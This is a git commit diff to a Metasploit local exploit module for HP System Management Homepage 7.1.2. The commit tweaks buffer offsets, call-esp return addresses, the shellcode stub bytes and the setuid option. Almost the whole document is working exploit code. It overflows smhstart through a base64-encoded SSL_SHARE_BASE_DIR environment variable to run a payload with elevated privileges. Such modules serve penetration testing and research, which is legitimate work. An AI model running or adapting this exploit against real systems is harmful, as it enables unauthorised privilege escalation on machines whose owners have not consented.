decrement esp to fix crash in the middle of shellcode

bug/bundler_fix
agix 2013-04-02 13:25:31 +02:00
parent 30111e3d8b
commit 7359151c14
1 changed files with 9 additions and 5 deletions

View File

@ -41,7 +41,7 @@ class Metasploit4 < Msf::Exploit::Local
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'SessionTypes' => [ 'shell' ],
'Payload' =>
{
'Space' => 227,
@ -57,17 +57,21 @@ class Metasploit4 < Msf::Exploit::Local
{
'Arch' => ARCH_X86,
'CallEsp' => 0x080c86eb, #call esp
'Offset' => 64
'Offset' => 58
}
],
[ 'Hpsmh 7.1.2',
{
'Arch' => ARCH_X86,
'CallEsp' => 0x080c8b9b, #call esp
'Offset' => 64
'Offset' => 58
}
],
],
'DefaultOptions' =>
{
'PrependSetuid' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => "Mar 30 2013",
}
@ -81,9 +85,9 @@ class Metasploit4 < Msf::Exploit::Local
pl = payload.encoded
padding = rand_text_alpha(target['Offset'])
ret = [target['CallEsp']].pack('V')
exploit = Rex::Text.encode_base64("#{pl}#{ret}\xe8\x14\xff\xff\xff#{padding}")
exploit = Rex::Text.encode_base64("#{pl}#{ret}\x81\xc4\x11\xff\xff\xff\xe9\x0e\xff\xff\xff#{padding}")
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
puts cmd_exec("#{datastore['smhstartDir']}/smhstart")
cmd_exec("#{datastore['smhstartDir']}/smhstart")
end
end